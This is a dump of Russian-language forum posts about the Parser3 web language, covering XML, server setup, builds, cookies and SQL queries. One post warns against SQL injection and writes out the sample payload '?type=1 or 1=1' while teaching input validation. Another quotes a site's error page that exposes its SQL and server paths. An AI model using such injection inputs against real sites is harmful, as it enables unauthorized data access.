   <Catalog id=\"F001\" Description=\"Цветы\">\
	<Img id=\"HPIM1135\" >\
		<MinSize>1600x1200</MinSize>\
		<NameImg obj=\"Цветы\">Цветок 1</NameImg>\
    	    <Autor>\
		<NickName>Nastya</NickName>\
	    </Autor>\
	</Img>\
      <Img id=\"HPIM1135\" >\
		<MinSize>1600x1200</MinSize>\
		<NameImg obj=\"Цветы\">Цветок 2</NameImg>\
    	    <Autor>\
		<NickName>Nastya</NickName>\
	    </Autor>\
	</Img>	\
</Catalog>\
   <Catalog id=\"F002\" Description=\"Животные\">\
	<Img id=\"HPIM1100\" >\
		<MinSize>1600x1200</MinSize>\
		<NameImg obj=\"Животные\">Животные 1</NameImg>\
    	    <Autor>\
		<NickName>Nastya</NickName>\
	    </Autor>\
	</Img>\
</Catalog>\
</Root>\
[/color][/code]\
Пытаюсь вывести все элементы Catalog с id=\"F001\" и с id=\"F002\".И под ними все элементы Img, соответствующие соответственно id Catolog.\
Общий цикл как в доке - Все выводится прекрасно .\
Но несколько не так как я хотел.Задача же стоит пердо мной такая.\
Вывести все Img входящие в Catalog c Id. \
Делаю цикл в цикле он начинает бегать один раз по всем веткам а потом еще и второй. Получается белиберда.\
[color=\"#ff0000\"][b]Вопрос:[/b][/color] Какая \"команда\" позволяет вывести все элементы родителя?\
Во вроде выразился.Спасибо!!!"
"33721","подскажите пожалуйста:\
хочу сделать меню, состоящее, к примеру, из пунктов music и video... по задумке, при выборе, выполнялось бы /folder/?base_to_connect=sec.base, где sec.base присваивается из файла-таблицы section.cfg.\
 Проблема заключается в том что я не совсем понимаю:), вернее совсем, как вписать в запрос переменную\
[code]$your_table[^table::sql{select * from[/code][b]select_base[/b][code]}]} [/code]\
и как описать :(.   \
                        Помогите пожалуйста."
"33723","не стоит передавать в урл имя таблиц\\базы."
"33724","вы как-то неудачно задали (возможно, забыли от make distclean).\
для простоты: распакуйте файлы в [b]новый[/b] каталог, получится.\
\
сейчас, тут http://parser4alt2.narod.ru/log_dynamicstdcpp_gc6.1.gz вижу:\
[code]\
gcc ... -Wl,-Bstatic -lstdc++ -Wl,-Bdynamic  ...\
[/code]\
\
т.е. ключ --with-dynamic-stdcpp на содержимое Makefile не повлиял."
"33725","потому, что можно вам в параметре передать то, на что вы не расчитываете.\
\
http://www.parser.ru/forum/?id=14317"
"33727","и как все спасаются? правильно — группами пользователей.\
\
вы уверены, что не собрались по отдельному набору прав [b]каждому[/b] пользователю выдавать?\
задумайтесь — уходит в отпуск человек, и что делать администратору?! искать все его файлы и все права выдавать другому человеку?"
"33728","однако обязательно действуйте, как задумали, через вспомогательный файлик,\
и не подставляйте пользовательских данных в запрос просто так.\
\
вариант:\
[code]\
$section[^table::load[section.cfg]]\
^if(!^section.locate[untrusted;$form:untrusted]){\
   ^throw[check;$form:untrusted << неправильное значение параметра]\
}\
... $section.table ...\
[/code]\
при этом в файле section.cfg:\
[code]\
untrusted  table_name  title  whatever\
video  video  Видео  red\
[/code]\
\
имейте в виду, что если таблицы имеют одинаковую структуру (похоже, что ваш случай), это признак плохой продуманности базы.\
если вы можете на это повлиять, сделайте [b]одну[/b] таблицу, в ней будет поле \"тип\", со значениями \"1,2,3\", соответствующими вашим \"видео,...\", эти циферки передать вы сами себе в параметре можете без проблем. и подставить их же в запрос.\
\
[code]\
...^table::sql{...from xxx where type=^form:type.int(0)}\
[/code]\
этот int нужен, чтобы враги не подсунули вам такое:\
[code]\
...?type=1%20or%201=1\
[/code]"
"33729","Интересные вещи творятся на Агавовском хостинге.\
Поставил туда parser3_1_3_freebsd49R_cgi_xml, закачал свою админку. Внешне все выглядело вполне работоспособным. Но когда стал использовать свой менеджер файлов, понял, что все далеко не так гладко.\
При загрузке ЛЮБОГО двоичного файла через мою форму файл почему-то конвертится в текстовый (это моё предположение). Соответственно ничего потом не открывается.\
Файл-менеджер мой проверен уже на разных хостингах, ошибки в коде быть не должно. На всякий случай, строка, которая непосредственно сохраняет файл на диск: ^form:file.save[binary;${path}${form:file.name}]\
Все текстовые файлы естественно читаются без проблем.\
И еще, вот по этой [url=\"http://npf-consult.ru/test.rar\"]ссылке[/url] лежит архив, в нём 2 файла с одной и той же картинкой: до закачки на сервер и после. Может вам понятней будет, когда сможете посмотреть что там такое делается с файлом при сохранении?\
А то я из-за этого не могу заказчику свою работу показать и там всё еще висит этот убогий дизайн, хотя свой уже сделан..."
"33731","[code]<form name=\"upload\" action=\"fun.html\" method=\"post\" enctype=\"multipart/form-data\">\
<td>Закачать файл в текущую папку:</td>\
<td><input type=\"file\" name=\"file\" value=\"\">\
<input type=\"hidden\" name=\"path\" value=\"/\">\
<input type=\"hidden\" name=\"fld\" value=\"\">\
<input name=\"mode\" type=\"hidden\" id=\"mode\" value=\"\">\
<input type=\"submit\" name=\"upload\" value=\"Поехали\">\
</td>\
</form>[/code]"
"33733","раз и навсегда прописать рекомендацию поставить в htaccess[code]<IfModule mod_charset.c>\
	CharsetRecodeMultipartForms Off\
	CharsetDisable On\
</IfModule>[/code]и забыть о существовании проблемы."
"33734","так же прочно забыть, как забыл о ней я :)\
\
конечно, в доке всё уже написано, вполне достаточно имеющегося.\
\
note: достаточно любой одной из этих двух директив, чтобы так не было. однако правильнее, конечно, \
[code]\
CharsetDisable On\
[/code]"
"33735","у них запрещено использовать эту директиву или просто напросто отключен этот mod_charset?\
Что тогда, разбираться с саппортом?"
"33736","есть права:\
1 (01) - читать\
2 (10) - писать\
\
эти права остаются таковыми вне зависимости от того, дла какого они сайта.\
\
ещё есть назначение прав:\
- группа 'X' имеет право 'читать' на документ 'Y' на сайте 'Z'.\
\
у меня эти права лежат в табличке ACL со столбцами:\
object_id - указывает на какой документ назначение прав\
auser_id - указывает кому дано право (пользователь/группа)\
rights - сами назначенные права (битовые). если тут 1 - может читать, если 2 - может писать, если 3 - может и то и другое.\
\
в таком подходе я не знаю как может не хватить 32 прав %-)"
"33737","файл положите в каталог с parser'ом."
"33739","Собсвенно говоря что сделал:\
\
установил парсер в c:\\inetpub\\wwwroot, для этого правда пришлось убить gc.dll & msvcr71.dll потому что инсталлер не мог их самостоятельно переписать.\
\
добавил обработчик parser3.exe для .html расширения в Home Directory. Скопировал _test.html из Other в c:\\inetpub\\wwwroot и пошел на него: http://localhost/_test.html.\
\
получил:\
\
parser already configured\
\
почитал форум, но применительно к своей проблеме ничего помогательного не нашел. @conf[] у меня в auto.p один... \
\
parser3.log тоже не нашел, а в логах IIS только _test.html 500\
\
как быть, что делать?"
"33740","если вам всё равно, положите parser в подкаталог.\
общепринятое название каталога \"cgi-bin\".\
будет работать."
"33741","у меня было подозрение, что Parser не любит когда скрипт лежит рядом с auto.p, я попробовал положить тестовый скрипт в другую директорию... тот же результат. попробую переставить."
"33742","Попытка трансформировать объект класса xdoc xsl-таблицей с таким шаблоном:\
<xsl:template match=\"node()\">\
   <xsl:copy>\
      <xsl:attribute name=\"id\">\
         <xsl:value-of select=\"generate-id()\">\
         <xsl:apply-templates select=\"@*|node()\">\
      </xsl:attribute>\
   </xsl:copy>\
</xsl:template>\
вызывает Premature script ending error.\
\
Это так критично, использовать xsl:attribute внутри xsl:copy?\
\
P.S.Использование use-attribute-sets проблему снимает."
"33743","Мне кажется проще строить/хранить xml-дерево следующего вида:\
\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<tree>\
	<item uri=\"/\" title=\"Главная\" />\
	<item uri=\"/news/\" title=\"Новости\">\
		<item uri=\"/news/archiv/\" title=\"Архив\" />\
	</item>\
	...\
</tree>\
[/code]\
\
То есть более «древовидное», если можно так выразиться.\
Да и проблем меньше вроде бы."
"33744","Или если уж вам так принципиально строить «плоский» xml, тогда почему бы это не делать так:\
\
[code]\
<menu>\
<item name=\"Item1\" url=\"xxx\">\
<item name=\"Item2\" url=\"xxxx\">\
<item name=\"Item2.1 url=\"xxxxxx\" [b]sub=\"1\"[/b]>\
<item name=\"Item2.2 url=\"xxx\" [b]sub=\"1\"[/b]>\
<item name=\"Item3\" url=\"xxxxxxx\">\
</menu>\
[/code]"
"33745","Хочу сделать, чтобы в коде-шаблоне ^themebody[] за место слова LEFT_BLOCKS вызывался ^lblocks[] в котором выводятся левые блоки.\
[code]\
@body[]\
$a[^themebody[]]\
\
$rep[^table::create{from	to\
#LEFT_BLOCKS	^left_blocks[]\
LEFT_BLOCKS	$lblocks\
}\
]\
\
[b]$lblocks{^lblocks[]}[/b] \
\
^a.replace[$rep][/code]\
\
пишет \
[i]junction may not be overwritten with table, store it to variable instead[/i]\
[b]create[/b]\
Получается это можно сделать только через match?"
"33746","[code]\
$rep[^table::create{from	to\
LEFT_BLOCKS	[b]$lblocks[/b]\
}]\
[/code]\
\
Парсер пытается подставить в таблицу значение переменной $lblocks, а вам надо, чтобы в таблице оставался доллар, правильно? Тогда вам его нужно затэйнтить."
"33747","все такие падения = мои ошибки (или ошибки и используемых мной библиотеках), сообщайте о них максимально подробно.\
в идеале: воспроизводимый bug.html, если один файл. если несколько — bug.zip в мою почту."
"33748","для вашего случая не подходит.\
[b]вызывать[/b] не получится. чтобы вызывалось что-то, нужно использовать ^process{}.\
\
однако послушайте разумного совета: почитайте первый урок?\
если вам такой подход кажется неизящным, почитайте шестрой урок?"
"33749","Попробуйте скопировать в папку [cgi-bin] своего виртуального web-сервера содержимое папки c:\\WebServers\\usr\\local\\parser3\\.\
И .htaccess «перед» cgi-bin и www.\
В таком виде у меня всё работает."
"33750","Спасибо. Вообщем-то завелось. Но...\
\
Парсер вешает IIS. Наглухо. После 3 - 5 минут работы. Может быть это уже известная проблема и ей есть какое-то решение?\
\
Если убрать Parser isapi из обработчиков и сделать iisreset, то все снова начинает работать...\
\
И еще - а зачем инстялятор хочет переписать %winnt%/gc.dll & system32/msvcr71.dll?\
\
MS Windows XP pro corp ed, SP 2. IIS 5.1"
"33751",".. например как в phpBB, с шаблонами..\
[code]        $template->assign_block_vars('postrow', array(\
                'ROW_COLOR' => '#' . $row_color,\
                'ROW_CLASS' => $row_class,\
                'POSTER_NAME' => $poster,\
                'POSTER_RANK' => $poster_rank,\
                'POSTER_ZVANIE' => $poster_zvanie,\
                'RANK_IMAGE' => $rank_image,\
                'POSTER_JOINED' => $poster_joined,\
                'POSTER_POSTS' => $poster_posts,\
                'POSTER_FROM' => $poster_from,\
                'POSTER_AVATAR' => $poster_avatar,\
                'POST_DATE' => $post_date,\
                'POST_SUBJECT' => $post_subject,\
                'MESSAGE' => $message,\
                'SIGNATURE' => $user_sig,\
                'EDITED_MESSAGE' => $l_edited_by)[/code]"
"33752","Не могу просить с помощью $env:var прочитать переменнные окружения, созданнные в .htaccess setenv или при использовании флага E при mod_rewrite"
"33754","[quot]Класс env\
Класс предназначен для получения значения переменных окружения. Со списком стандартных переменных окружения можно ознакомиться по адресу http://www.w3c.org/cgi. Веб-сервер Apache задает значения ряда дополнительных переменных.[/quot]"
"33755","А все таки - сложно ли и на сколько реально сделать доступ к sqlite из parser?"
"33756","Александр,\
спасибо Вам большое за помощь.\
\
Включал --with-dynamic-stdcpp и после make distclean, и в новом каталоге... Может, надо было ещё руками грохнуть config.cache?\
\
ОК, сейчас поставлю ещё раз всё собираться по-новой, благо есть не просит и сильно не отвлекает. Совсем по-другому папки назову...\
\
----------\
Что забавно: на выходных собрал всё дома на Debian (с gc6.3, кстати), включая всё статически. Заработало. Радостно приношу сюда архив, включаю -- не работает. Делаю ldd -- точно, libc подлинковано динамически :-( Очевидно, руки помнят --with-dynamic-stdcpp..."
"33758","Для подсчета статистики запросов мне надо разделить роботов и людей ($env:HTTP_USER_AGENT).\
Поделитесь списком, как могут называться роботы поисковиков?"
"33759","А кто-нибудь может что-нибудь сказать по [url=\"http://www.parser.ru/forum/?id=33750\"]этому поводу[/url]? Вешается у меня IIS от парсера почему-то...\
\
Форум читал. Ничего помогательно найти не смог.. :("
"33760","ну а если все это уже пробовалось всяко-разно, больше идей нет?"
"33761","видите, тут заменяют на конкретные строки.\
а не на «функции, которые надо вызвать позже», как хотите вы."
"33762","до сих пор не поступало.\
на некоторых наших проектах с IIS успешно используем cgi вариант."
"33763","не удалось, когда хотел. потратил 10 минут, плюнул, сделал как-то проще и изящнее.\
осталось ощущение, что mod_rewrite:E переменные задуманы только для использования внутри mod_rewrite и только там их и можно/нужно использовать.\
\
если не хотите подумать в другую сторону, полагаю, копать нужно сюда:\
ещё есть passenv,\
ещё есть suexec,\
и все хотят помешать переменной добраться до цели.\
\
и смотреть исходники, поскольку в доке по apache это место написано ясно, но с действительностью не согласуется."
"33764","http://cvsview.parser.ru/cgi/viewcvs.cgi/sql/mysql/parser3mysql.C?rev=1.25&content-type=text/vnd.viewcvs-markup"
"33765","это совсем всё статически.\
\
можно вручную команду компоновки, но обычно делают так:\
[code]\
LD_FLAGS=-static ./configure ...\
[/code]\
\
про distclean: \"make distclean\" стирает config.cache.\
про сборку в пустом каталоге: в пустом каталоге config.cache нет."
"33766","эээ ну вообщем, симптомы таковы:\
\
если даже прицепить CGI вариант, то Parser что-то очень хитрое делает, что убивает все, кроме парсера... :))\
\
либо парсер работает, либо ничего...\
\
может быть конкретно на 5.1 IIS это все так ужасно выглядит, но у меня пахать не хочет ни в какую...\
\
какой-то он сырой, чтоли..."
"33767","Пример про старый парсер, но названия ботов выцепить сможете:\
\
http://parser2.parser.ru/forum/message_6905.html"
"33768","http://www.spearance.ru/parser3/rating/ так сказать собственный опыт"
"33769","\"Закралось страшное подозрение\": сделал gcc -v, увидел 2.96\
Есть в этом дистрибуте такая команда -- select-gcc...\
\
Между тем, \"чистая\" пересборка не помогла. Если сейчас gcc3.0.4 не спасёт, покажу снова логи..."
"33770","а где же отсев роботов? в приведенной ссылке только отсев своих посещений"
"33771","Товарищи, очень нужна помощь, написал в [url=http://www.parser.ru/forum/?id=33712]старую[/url] ветку, но она ушла на дно.\
Бьюсь с проблемой, необходимо выводить ссылку вида javascript:emoticon('[ b]что-то[ /b]'), так вот как не вывожу, [] заменяются на %5B%5D.\
Как быть?..\
\
Код:\
[code]\
<a name=\"{@id}\" href=\"javascript:emoticon('[b]{@author}[/b]')\">\
	<xsl:attribute name=\"title\">\
		<xsl:value-of select=\"$insert_name_title\"/>\
	</xsl:attribute>\
	<b>\
		<xsl:value-of select=\"@author\"/>\
	</b>\
</a>\
[/code]\
\
PS Пробелы в [ b], чтобы не размечался в сообщении жирным, на самом деле их там нет есс-но."
"33772","спасибо!\
посмотрю, попробую.\
Если список не устарел..."
"33773","Я должен был сообразить, как только встал вопрос о линковке к библиотеке С++. Давно не собирал софт руками.\
\
gcc3.0.4 всё собрал, статически подлинковал libstdc++, ну и вообще -- всё телемаркет.\
\
Спасибо огромное за помощь. Извините за беспокойство."
"33774","Как в тексте из базы MySQL, перевод каретки при выводе заменить на <br>. Спасибо."
"33775","[code]\
SetEnv TEST_SET_ENV 1\
\
RewriteEngine on\
\
RewriteBase /\
\
...\
\
RewriteRule (.*)  /_content.html  [L,QSA,E=TEST_RW:$1]\
...\
[/code]\
\
Ни $env:TEST_SET_ENV ни  $env:TEST_RW парсером не читаются"
"33776","невнимательно прочитали.\
Робот, если он конечно не сумасшедший и не что-то вроде Teleport Pro, посещает ссылки только в рамках одного ресурса. Он реагирует на все относительные ссылки, и все ссылки с текущего домена.\
Если ссылку изменить, и уводить посетителя на другой сайт, то робот туда не пойдет, иначе у него после десятка посещений таких порталов как pupsik.ru просто уедет крыша.\
\
С помощью этого решения вы получаете примерно 90-95% защиту от роботов, и достаточно достоверную статистику.\
\
P.S. Именно этот механизм я использую в собственном расчёте ТОП-5 новостей на http://www.tyumen.ru"
"33777","В моем случае на Parser работает без оболочек,\
Переадресация на Perl показала, что переменные есть."
"33779","Научным тыком выяснилось, что идет перезапись имен переменных\
\
$env:REDIRECT_TEST_SET_ENV\
$env:REDIRECT_TEST_RW\
\
решили проблему"
"33780","CGI может не работать, однако повлиять на другие процессы точно не может. это отдельные процессы, не pool и не процесс IIS.\
\
разберитесь, потом говорите."
"33783","Что-то я туплю, помогите пожалуйста\
Есть код - вот такой\
\
[code]\
### Проверка кук на включенность\
@is_cookie_on[]\
\
^if(!def $form:csid){\
\
$cookie_sid[^math:uid64[]]\
$cookie:$cookie_sid[$cookie_sid]\
\
$response:location[http://${env:SERVER_NAME}${env:SCRIPT_NAME}?csid=$cookie_sid]\
\
						}{\
	$formname[$form:csid]\
		^if(def $cookie:$formname){\
\
		$result[on]\
\
									}{\
\
		$result[off]\
		}\
	}\
### / Проверка кук на включенность\
[/code]\
\
На одном локально сервере всё прекрасно работает - куки пишутся, на другом - нет. В чём может быть проблема? Установки эксплорера - минимальная безопасность\
\
Update1: Вообще, как показало исследование - куки генерятся и доступны только сразу после создания. Если сделать респонс-рефреш - всё исчезает\
\
Update2: Перенёс сайт на тот сервер, где куки работали - всё стало работать.При этом при записи кук $.domain не указывается"
"33784","по стандарту так и должно быть: в \
[code]<a href=\"тут\"[/code] (и ряде других атрибутов)\
должно быть согласно HTTP/1.0 закодировано.\
\
декодируйте в javascript стандартной urldecode (unescape?)."
"33785","если не секрет, какова была задача.\
иногда можно придумать более простой подход…"
"33787","Оказывается, куки не пишутся в доменные имена типа test_1.ru - с нижним подчёркиванием."
"33788","= такой домен вы нигде не зарегистрируете.\
неудивительно, что это глючит :)\
\
допустим «-»."
"33790","Поскольку на домашнем сервере можно какие угодно имена делать"
"33791","Мне нужно запомнить данные (таблица/хеш) в память. Не в файл, а именно в память. Как это можно реализовать и можно ли реализовать такую фичу:\
при первой загрузке сайта запоминаем какую-то информацию в память, допустим из БД и на других страницах да и на этой тоже, пользуемся уже информацией из памяти, а не из БД.\
\
Если это делается простым методом добавления данных в какую-нить глоабльную таблицу/хеш, можете обзываться :)\
\
ЗЫ  нечто похожее было в Mish'еном [url=\"http://misha.design.ru/hobby/progr/engine.html\"]Engine[/url]:\
[quot]Кеширование обращения к объектам/блокам. Если у нас обработчик обращается к одному блоку 5 раз, то этот блок достается из базы данных только один раз. Более того, при обращении к первому блоку объекта достаются все его блоки (одним запросом) и [b]запоминаются[/b]. Обращения к последующим блокам не производят запросов в БД, а берутся из хеша блоков. То-же самое касается объектов: если мы достаем объекты какого-либо треда, а потом независимо, в другом блоке достаем данные объекта, который уже был в этом треде - второго запроса к БД не будет.[/quot]\
\
заранее спасибо\
\
с уважением, D"
"33792","Благодарю, сверился со стандартом - не допускаются такие символы.\
Декодировал.\
\
А странность-то вот в чём, собственно:\
IE и без декода нормально воспринимает символы.\
А вот Опера и Мозилла - отказываются и выводят коды.\
Вот и думай, из каких соображений эти браузеры так работают с js..."
"33794","Вот протестировал на кириллице...\
Строка [ b]Вася[ /b] преобразуется xsl в %5Bb%5D%D0%92%D0%B0%D1%81%D1%8F%5B/b%5D, а скрипт вставляет [ b]&#208;&#146;&#208;°&#209;&#129;&#209;&#143;[ /b].\
Кодировки в xml, xsl и браузере - идентичные."
"33795","Вот [url=\"http://www.parser.ru/forum/?id=24481\"]тут[/url] не на ту же тему обсждение?"
"33797","Но так и не нашёл ответа на извечные вопросы:\
\"кто виноват\" и \"что делать\"?\
\
Кстати, Мозилла кириллицу верно вставляет, а вот IE и Опера - нет."
"33798","Все запросы идут в один или несколько каталогов с конструктором страничек\
\
Выкусывается host, проверяется, сопоставляется с siteID, уходит в переменнную окружения\
\
Запрос реврайтится по общем правилам, из него выделяется path, которая уходит в переменнную окружения\
\
все query [QSA]. что при GET запросе совместно с path дает безусловную идентификацию страницы (к примеру для кэша)\
\
Все передается Parser-у.\
\
Переменнные тут задействованы скорее для наглядности и красоты решения."
"33799","[code]\
... \
# хэш объектов\
$OBJECTS[^hash::create[]]\
...\
\
@_objectInfo[param][object;objectCount;tmp]\
^if(def $OBJECTS.[^param.objectID.int(0)]){\
#	объект есть в кеше объектов\
	$result[$OBJECTS.[$param.objectID]]\
}{\
#	извлечение объекта\
	$object[^getObjects[$param]]\
\
#	добавление в хэш объектов\
	^if(def $object){\
		$objectCount(^object.count[])\
		^if($objectCount > 1){\
			^object.menu{\
#				хэш по id - result\
				$tmp[$object.fields]\
#				добавление в кэш\
				$OBJECTS.[$tmp.id][$tmp]\
			}\
		}{\
			$tmp[$object.fields]\
			$OBJECTS.[$tmp.id][$tmp]\
		}\
		$result[$object]\
	}{\
		$result[]\
	}\
}\
#end @objectInfo[]\
[/code]"
"33801","Вот несколько выкушенный из контекста, кусок кода, который должен искать в задаваемых столбцах таблицы обработанные варианты запроса (обработанные - это когда пользователь спросил \"молоток\", а программа ищет \"молоток\", \"Молоток\", \"МОЛОТОК\". Понятно, что если используется LIKE в СУБД, то эта обработка излишняя, но допустим, что в примере такой возможности нет и таблица грузится из файла)\
[code]\
#Следующие три конструкции добавлены для некоторого контекста\
$table[client]\
$question['завод']\
$items[^table::load[${table}.cfg]]\
\
#Задаются поля, в которых необходимо искать\
$searchfields[\
              $.client[\
                  $.0[name]\
                  $.1[ur_name]\
                  $.2[phones]\
               ]\
              ]\
\
#Обрабатывается исходный запрос и создается хэш новых\
$question[^question.trim[]]\
$character[^question.left(1)] $character[^character.upper[]]\
$word[^question.mid(1)] $word[^word.lower[]]\
\
$questions[\
           $.1[^question.upper[]]\
           $.2[^question.lower[]]\
           $.3[${character}${word}]\
          ]\
\
#Вот собственно конструкция, которая не хочет парситься!\
  $items[^items.select(\
   ^searchfields.$table.foreach[key;value]{\
    ^questions.foreach[nkey;nvalue]{\
     (^items.[$value].pos[$nvalue]>-1)\
    }[||]\
   }[||]\
  )]\
[/code]\
\
Результат исполнения последней конструкции:\
\
invalid number (double)\
(-1>-1) || (16>-1) || (-1>-1) || (-1>-1) ....\
\
[b]Вопрос:[/b] Можно ли как-то иначе и правильно составить такую конструкцию без выноса кода в дополнительную процедуру, вызываемую из select-а?"
"33802","Unhandled Exception (Debug)\
'/usr/sbin/sendmail' reported problem: UNKNOWN (67)\
send\
\
/usr/local/apache2/htdocs/tv/etherealcable/order/index.html(15)\
exception.type=email.send"
"33803","Уважаемые коллеги, мне требуется Ваша помощь. Мне нужно написать скрипт, который добавляет записи с формы на странице asp, я с этим справилась, но вот проблема у меня такая: я добавляю записи, всё ок, но придублировании возникает страница об ошибке, как мне её уловить (ошибку) и перенапрвить информацию на другую страницу"
"33804","try + catch + редирект куда надо, с помощью установки заголовка HTTP как конкретно, смотрите в документации Microsoft\
\
PS: Правда try + catch есть в ASP.NET, насчет более ранней версии я не уверен."
"33807","Я пока не изучал RCPE... Но насколько я понимаю match снимет только необходимость в преобразовании запросов, но не необходимость искать по разным полям таблицы и тогда происходит возврат к укороченной, но аналогичной конструкции..."
"33808","Вот такая конструкция : \
^razdel.offset(^math:random($razdel))\
В ДЕНВЕРе это работало .\
Перенес на linux \
\
top must be above 1(0)\
\
[b]random [/b]\
\
gallery/index.html(40)\
\
exception.type=parser.runtime\
Ему нужно число в диапазоне 0-1?"
"33809","виноват xslt процессор, автор которого тоже прочитал HTTP стандарт и сделал своё дело.\
\
что делать: \
[code]\
<xsl:stylesheet\
   ...\
   xmlns:str=\"http://exslt.org/strings\">\
...\
<a href=\"{str:encode-uri('москва'}\">test</a>\
[/code]"
"33810","не делать ничего в mod_rewrite, раз запрос рано или позно в parser попадает.\
\
когда он попадает в наш код, в нём можно всё прекрасно сделать, и дополнительные данные не нужны, всё есть в $request:uri и $env:SERVER_NAME.\
\
SERVER_NAME << содержит правильное значение, если в <virtualhost указано UseCanonicalNames on.\
http://httpd.apache.org/docs/mod/core.html#usecanonicalname"
"33811","число в скобках, это сколько вы передали параметром в random."
"33812","Спасибо за наводку.\
Выше по тексту была ошибка и razdel был пустым.\
Удачи!"
"33813","Случилось так, что в на одном из хостингов нет доступа к сабжу и админы \"морозятся\".\
\
Пришлось парсеровский лог им же и вращать\
Может кому понадобится.\
Как всегда, приветствуются улучшения, комменты и прочие конструктивные замечания\
[code]\
@log_rotate[filename;step;bytes]\
^if(def $step){\
$step($step-1)\
}{\
$step(9)\
}\
\
\
^if(-f \"$filename\"){\
\
$logfile[^file::stat[$filename]]\
	^if(def $bytes){\
	$rotatesize($bytes)\
	}{\
	$rotatesize(10240)\
	}\
\
^if($logfile.size >= $rotatesize){\
\
$logfile_name[^file:justname[$filename]]\
$logfileext[^file:justext[$filename]]\
^while($step >= 1){\
$next_step($step+1)\
^if(^logfileext.int(0) >= $step){\
^file:delete[$filename]\
}{\
^if(-f \"${filename}.$step\"){\
^if(-f \"${filename}.$next_step\"){^file:delete[${filename}.$next_step]}\
^file:move[${filename}.$step;${filename}.$next_step]\
\
}\
\
\
}\
^step.dec(1)\
}\
\
^file:move[$filename;${filename}.1]\
$empty[ ]\
^empty.save[$filename]\
\
}\
\
}\
[/code]"
"33814","Смена $.text на $.body не помогла :("
"33815","читайте внимательнее."
"33816","Делаю так как в хелпе. Как и всегда впрочем делал.\
\
	      $.from[Сайт <admin@blablabla.ru>]\
	      $.to[Sergey <sergey@blablabla.ru>]\
	      $.subject[blablablba]\
	      $.text[bla]"
"33818","Всё. Вопрос закрыт. Спасибо всем."
"33819","Ошибка, которую выдает parser3.1.3, если его запустить. Собран под AIX, вроде даже как в поддержкой XML.\
\
Соответственно Apache пишет в этот момент в log файл Premature end of script."
"33820","Хм...\
Спасибо за ответ.\
Но я видимо совсем в лыжах на асфальте...\
Что за ф-я encode-uri?\
Перекопал доки - везде что-то мельком, без примеров.\
Процессор на неё ругается, как на незнакомую..."
"33822","Можно поставить проверку на загрузка файла robots.txt и добавлять агента в список роботов. Таким образом получится самообучающаяся система. Конечно, это годится только для \"честных\" роботов. Остальных придется вносить в список вручную."
"33823","то есть поступить согласно тем инструкциям?"
"33824","[code]\
$question[завод]\
\
$items[^table::load[${table}.cfg]]\
\
$searchfields[\
	$.0[name]\
	$.1[ur_name]\
	$.2[phones]\
]\
\
\
^items.menu{\
	^searchfields.foreach[var;val]{\
		$col[$items.[$val]]\
\
		^if(^col.match[^^$question^$][i]){\
			Да, нашли совпадение\
		}\
	}\
}\
[/code]"
"33825","Парсить $request:uri довольно напряжно и лень, на то и придумали mod_rewrite.\
Что бы воспроизвести аналогичное правило Parser-oм прийдется довольно сильно напрячься \
\
[code]\
RewriteRule (news|issue|archive)/$  - [S=2]\
RewriteRule (news|issue|archive)/([0-9]+)/  ?year=$2 [C]\
RewriteRule (news|issue|archive)/[0-9]+/([0-9]+)/  ?month=$2 [C]\
RewriteRule (news|issue|archive)/[0-9]+/[0-9]+/([0-9]+)/  ?day=$2 [C]\
RewriteRule (news|issue|archive)/[0-9]+/[0-9]+/[0-9]+/([a-z]+)/  ?issue_uri=$2\
RewriteRule ^(.*(news|issue|archive)/)  $1 [QSA]\
[/code]"
"33826","меня, пожалуй и интересуют больше \"честные\" роботы. А то прямо до слез жалко яндексовского робота - бедолага просматривает страницу, от его просмотра она меняется (статистика запросов), меняются ссылки, он идет по ним, страница снова меняется... короче, ходит кругами.\
Ну и мне, конечно, портит статистику запросов"
"33828","согласен. \
\
однако в вашем примере нет манипуляций со строками окружения, о которых говорили большевики выше по тексту."
"33829","Был необходим именно отбор записей таблицы, в полях которых нашлись совпадения... Сам я решил примерно так (Потом правда переделал на MySQL базу, где этот отбор перенес на стадию конструктора таблицы. Потому дословный код не сохранился, но академический интерес остался :) ):\
[code]\
\
......................................\
\
$items[^items.select(^search_record[])]\
\
@search_record[]\
 $result[0]\
 ^searchfields.$table.foreach[key;value]{\
  ^questions.foreach[nkey;nvalue]{\
    ^if(^items.[$value].pos[$nvalue]>-1){$result[1]}\
   }\
  }\
\
[/code]\
\
Правда если необходимо вызывать процедуру, где происходит поиск, рекурсивно, то приходится дополнительно формировать хэш для передачи в процедуру @search_record[] записей таблицы по которым нужно искать, так как items при возможности рекурсивного вызова необходимо делать локальной."
"33830","Ничего не понимаю...\
Что за ф-я, почему авторская?\
Это может тонкий программерский юмор?\
Ничего не понимаю..."
"33832","разве нельзя сделать upper от всего текста таблицы и искомой подстроки и делать простой locate?\
\
это найдёт нам даже моЛОТОК."
"33833","что wonder сказал, я не понял. видимо, юмор."
"33834","Это с http://www.hp-valley.ru/ - последноего творения Студии :) А-яй-яй :)\
\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, webmaster@design.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log.\
\
You have an error in your SQL syntax near 'SELECT ParentProductID FROM Product WHERE ProductID = Product2Accessory.ProductI' at line 4\
SELECT ProductID = CASE (SELECT ParentProductID FROM Product WHERE ProductID = Product2Accessory.ProductID ) WHEN '0' THEN ProductID ELSE (SELECT ParentProductID FROM Product WHERE ProductID = Product2Accessory.ProductID ) END, AccessoryID FROM Product2Accessory WHERE AccessoryID = 374 \
\
/home/www/hpsv/www//../data/classes/sql.p(90)\
exception.type=sql.execute \
--------------------------------------------------------------------------------\
sql /home/www/hpsv/www//../data/classes/sql.p(90)\
sql_code /home/www/hpsv/www//../data/classes/sql.p(179)\
if /home/www/hpsv/www//../data/classes/sql.p(164)\
_sql /home/www/hpsv/www//../data/classes/sql.p(90)\
switch /home/www/hpsv/www//../data/classes/sql.p(88)\
code /home/www/hpsv/www//../data/classes/common/lib.p(444)\
try /home/www/hpsv/www//../data/classes/common/lib.p(444)\
if /home/www/hpsv/www//../data/classes/common/lib.p(437)\
run_time /home/www/hpsv/www//../data/classes/sql.p(87)\
sql /home/www/hpsv/www//../data/classes/Product.p(674)\
_GetProductForWhichIsAccessory /home/www/hpsv/www//../data/classes/Product.p(114)\
bIsAccessory /home/www/hpsv/www//../data/classes/Product.p(114)\
if /home/www/hpsv/www//../data/classes/Product.p(112)\
if /home/www/hpsv/www//../data/classes/Product.p(85)\
if /home/www/hpsv/www//../data/classes/Product.p(83)\
